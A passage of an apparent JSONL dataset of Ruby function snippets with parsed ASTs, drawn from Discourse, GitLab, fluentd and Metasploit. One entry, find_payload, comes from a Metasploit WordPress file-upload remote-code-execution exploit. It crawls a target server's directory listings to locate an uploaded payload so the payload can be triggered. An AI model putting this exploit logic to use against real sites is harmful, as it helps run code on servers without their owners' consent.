"type\":\"const\",\"children\":[null,\"Arel\"]},\"Nodes\"]},\"OuterJoin\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"members\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Nodes\"]},\"On\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"cond\"]}]}]}]}]}","id":"f427134b-51ec-45d7-9c2d-a74a63fffe43"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/wp_dnd_mul_file_rce.rb","start_line":58,"raw_source":"def find_payload(path, payload_name)\n    return unless @payload_location.nil?\n\n    path = normalize_uri(target_uri.path, path)\n    print_status(\"Checking #{path}\")\n    res = send_request_cgi(\n      'uri' => path\n    )\n    unless res\n      vprint_error('Server didnt respond when attempting to trigger payload')\n      return\n    end\n    if res.body.include? payload_name\n      print_good(\"Found payload: #{path}#{payload_name}\")\n      @payload_location = \"#{path}#{payload_name}\"\n      return\n    end\n\n    # /a href=\"([\\w\\-\\/]+)\"/.match(res.body) do |url|\n    res.body.scan(%r{a href=\"([\\w\\-/]+)\"}) do |url|\n      if url[0].start_with? '/'\n        # skip it, its the parent directory\n      elsif url[0].end_with? '/'\n        find_payload(\"#{path}#{url[0]}\", payload_name)\n      end\n    end\n  end","complexity_score":30.7,"ast_json":"{\"type\":\"def\",\"children\":[\"find_payload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"payload_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@payload_location\"]},\"nil?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Checking \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"Server didnt respond when attempting to trigger payload\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"payload_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found payload: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_name\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@payload_location\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_name\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"a href=\\\"([\\\\w\\\\-/]+)\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"start_with?\",{\"type\":\"str\",\"children\":[\"/\"]}]},null,{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"end_with?\",{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"send\",\"children\":[null,\"find_payload\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"lvar\",\"children\":[\"payload_name\"]}]},null]}]}]}]}]}","id":"28a925e9-3f65-4a2e-a4af-2fd5590f275d"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20120806030641_add_new_password_new_salt_email_token_to_users.rb","start_line":4,"raw_source":"def change\n    add_column :users, :new_salt, :string, limit: 32\n    add_column :users, :new_password_hash, :string, limit: 64\n    # email token is more flexible, can be used for both initial activation AND password change confirmation\n    add_column :users, :email_token, :string, limit: 32\n    remove_column :users, :activation_key\n  end","complexity_score":4.9,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"sym\",\"children\":[\"new_salt\"]},{\"type\":\"sym\",\"children\":[\"string\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[32]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"sym\",\"children\":[\"new_password_hash\"]},{\"type\":\"sym\",\"children\":[\"string\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[64]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"sym\",\"children\":[\"email_token\"]},{\"type\":\"sym\",\"children\":[\"string\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[32]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"sym\",\"children\":[\"activation_key\"]}]}]}]}","id":"abbce040-fd14-4fab-9e0f-ce00fd49b531"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/authn/tokens/jwt.rb","start_line":52,"raw_source":"def rsa_decode(token:, signing_public_key:, subject_type:, token_prefix:)\n          return unless token.start_with?(token_prefix)\n\n          token = token.delete_prefix(token_prefix)\n\n          payload, _header = ::JSONWebToken::RSAToken.decode(token, signing_public_key)\n\n          new(payload: payload, subject_type: subject_type)\n        rescue JWT::DecodeError\n          # The token received is not a JWT\n          nil\n        end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"rsa_decode\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"token\"]},{\"type\":\"kwarg\",\"children\":[\"signing_public_key\"]},{\"type\":\"kwarg\",\"children\":[\"subject_type\"]},{\"type\":\"kwarg\",\"children\":[\"token_prefix\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"start_with?\",{\"type\":\"lvar\",\"children\":[\"token_prefix\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"token\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"delete_prefix\",{\"type\":\"lvar\",\"children\":[\"token_prefix\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload\"]},{\"type\":\"lvasgn\",\"children\":[\"_header\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"JSONWebToken\"]},\"RSAToken\"]},\"decode\",{\"type\":\"lvar\",\"children\":[\"token\"]},{\"type\":\"lvar\",\"children\":[\"signing_public_key\"]}]}]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subject_type\"]},{\"type\":\"lvar\",\"children\":[\"subject_type\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JWT\"]},\"DecodeError\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]}","id":"ead852fa-45ff-48ef-92c4-2e7b3657a652"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/test_mixin.rb","start_line":106,"raw_source":"def test_tag_key_set\n      format_check({\n        'tag_key_changed' => 'test',\n        'a' => 1\n      })\n\n      d = create_driver(Fluent::SetTagKeyMixin, %[\n      include_tag_key true\n      tag_key tag_key_changed\n      ])\n\n      d.emit({'a' => 1})\n      d.run\n    end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_tag_key_set\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"format_check\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"tag_key_changed\"]},{\"type\":\"str\",\"children\":[\"test\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"d\",{\"type\":\"send\",\"children\":[null,\"create_driver\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"SetTagKeyMixin\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      include_tag_key true\\n\"]},{\"type\":\"str\",\"children\":[\"      tag_key tag_key_changed\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"emit\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"run\"]}]}]}","id":"7dbd50f7-3c90-48d8-8b76-a8b5e5866e6b"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/lib/generated_definitions/unitednations.rb","start_line":13,"raw_source":"def self.holidays_by_month\n      {\n                2 => [{:mday => 2, :name => \"International Mother Language Day\", :regions => [:unitednations]}],\n      3 => [{:mday => 8, :name => \"United Nations Day for Women's Rights and International Peace\", :regions => [:unitednations]},\n            {:mday => 21, :name => \"International Day for the Elimination of Racial Discrimination\", :regions => [:unitednations]},\n            {:mday => 21, :name => \"Beginning of the Week of Solidarity with the Peoples Struggling against Racism and Racial Discrimination\", :regions => [:unitednations]},\n            {:mday => 22, :name => \"World Day for Water\", :regions => [:unitednations]},\n            {:mday => 23, :name => \"World Meteorological Day\", :regions => [:unitednations]}],\n      4 => [{:mday => 7, :name => \"World Health Day\", :regions => [:unitednations]},\n            {:mday => 23, :name => \"World Book and Copyright Day\", :regions => [:unitednations]}],\n      5 => [{:mday => 3, :name => \"World Press Freedom Day\", :regions => [:unitednations]},\n            {:mday => 15, :name => \"International Day of Families\", :regions => [:unitednations]},\n            {:mday => 17, :name => \"World Telecommunication Day\", :regions => [:unitednations]},\n            {:mday => 21, :name => \"World Day for Cultural Diversity for Dialogue and Development\", :regions => [:unitednations]},\n            {:mday => 22, :name => \"International Day for Biological Diversity\", :regions => [:unitednations]},\n            {:mday => 25, :name => \"Beginning of the Week of Solidarity with the Peoples of Non-Self-Governing Territories\", :regions => [:unitednations]},\n            {:mday => 29, :name => \"International Day of United Nations Peacekeepers\", :regions => [:unitednations]},\n            {:mday => 31, :name => \"World No-Tobacco Day\", :regions => [:unitednations]}],\n      6 => [{:mday => 4, :name => \"International Day of Innocent Children Victims of Aggression\", :regions => [:unitednations]},\n            {:mday => 5, :name => \"World Environment Day\", :regions => [:unitednations]},\n            {:mday => 17, :name => \"World Day to Combat Desertification and Drought\", :regions => [:unitednations]},\n            {:mday => 20, :name => \"World Refugee Day\", :regions => [:unitednations]},\n            {:mday => 23, :name => \"United Nations Public Service Day\", :regions => [:unitednations]},\n            {:mday => 26, :name => \"International Day against Drug Abuse and Illicit Trafficking\", :regions => [:unitednations]},\n            {:mday => 26, :name => \"International Day in Support of Victims of Torture\", :regions => [:unitednations]}],\n      7 => [{:wday => 6, :week => 1, :name => \"International Day of Cooperatives\", :regions => [:unitednations]},\n            {:mday => 11, :name => \"World Population Day\", :regions => [:unitednations]}],\n      8 => [{:mday => 9, :name => \"International Day of the World's Indigenous People\", :regions => [:unitednations]},\n            {:mday => 12, :name => \"International Youth Day\", :regions => [:unitednations]},\n            {:mday => 23, :name => \"International Day for the Remembrance of the Slave Trade and Its Abolition\", :regions => [:unitednations]}],\n      9 => [{:mday => 8, :name => \"International Literacy Day\", :regions => [:unitednations]},\n            {:mday => 16, :name => \"International Day for the Preservation of the Ozone Layer\", :regions => [:unitednations]},\n            {:mday => 21, :name => \"International Day of Peace\", :regions => [:unitednations]},\n            {:mday => 1, :name => \"International Day of Older Persons\", :regions => [:unitednations]}],\n      10 => [{:mday => 4, :name => \"World Space Week\", :regions => [:unitednations]},\n            {:mday => 5, :name => \"World Teachers' Day\", :regions => [:unitednations]},\n            {:wday => 1, :week => 1, :name => \"World Habitat Day\", :regions => [:unitednations]},\n            {:wday => 3, :week => 2, :name => \"International Day for Natural Disaster Reduction\", :regions => [:unitednations]},\n            {:mday => 9, :name => \"World Post Day\", :regions => [:unitednations]},\n            {:mday => 10, :name => \"World Mental Health Day\", :regions => [:unitednations]},\n            {:mday => 16, :name => \"World Food Day\", :regions => [:unitednations]},\n            {:mday => 17, :name => \"International Day for the Eradication of Poverty\", :regions => [:unitednations]},\n            {:mday => 24, :name => \"United Nations Day\", :regions => [:unitednations]},\n            {:mday => 24, :name => \"World Development Information Day\", :regions => [:unitednations]},\n            {:mday => 24, :name => \"Disarmament Week\", :regions => [:unitednations]}],\n      11 => [{:mday => 6, :name => \"International Day for Preventing the Exploitation of the Environment in War and Armed Conflict\", :regions => [:unitednations]},\n            {:mday => 16, :name => \"International Day for Tolerance\", :regions => [:unitednations]},\n            {:mday => 20, :name => \"Africa Industrialization Day\", :regions => [:unitednations]},\n            {:mday => 20, :name => \"Universal Children's Day\", :regions => [:unitednations]},\n            {:mday => 21, :name => \"World Television Day\", :regions => [:unitednations]},\n            {:mday => 25, :name => \"International Day for the Elimination of Violence against Women\", :regions => [:unitednations]},\n            {:mday => 29, :name => \"International Day of Solidarity with the Palestinian People\", :regions => [:unitednations]}],\n      12 => [{:mday => 1, :name => \"World AIDS Day\", :regions => [:unitednations]},\n            {:mday => 2, :name => \"International Day for the Abolition of Slavery\", :regions => [:unitednations]},\n            {:mday => 3, :name => \"International Day of Disabled Persons\", :regions => [:unitednations]},\n            {:mday => 5, :name => \"International Volunteer Day for Economic and Social Development\", :regions => [:unitednations]},\n            {:mday => 7, :name => \"International Civil Aviation Day\", :regions => [:unitednations]},\n            {:mday => 10, :name => \"Human Rights Day\", :regions => [:unitednations]},\n            {:mday => 18, :name => \"International Migrants Day\", :regions => [:unitednations]}]\n      }\n    end","complexity_score":17.75,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"holidays_by_month\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[2]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"International Mother Language Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[3]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[8]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"United Nations Day for Women's Rights and International Peace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[21]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"International Day for the Elimination of Racial Discrimination\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[21]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Beginning of the Week of Solidarity with the Peoples Struggling against Racism and Racial Discrimination\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[22]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"World Day for Water\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[23]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"World Meteorological Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[4]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[7]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"World Health Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[23]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"World Book and Copyright Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[5]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"World Press Freedom Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[15]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"International Day of Families\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[17]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"World Telecommunication Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[21]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"World Day for Cultural Diversity for Dialogue and Development\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[22]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"International Day for Biological Diversity\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[25]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Beginning of the Week of Solidarity with the Peoples of Non-Self-Governing Territories\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[29]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"International Day of United Nations Peacekeepers\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[31]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"World No-Tobacco Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[6]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"International Day of Innocent Children Victims of Aggression\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"World Environment Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[17]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"World Day to Combat Desertification and Drought\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[20]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"World Refugee Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[23]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"United Nations Public Service Day\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[26]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"International Day against Drug Abuse and Illicit Trafficking\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"unitednations\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[26]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"International Day in Support of Victims of 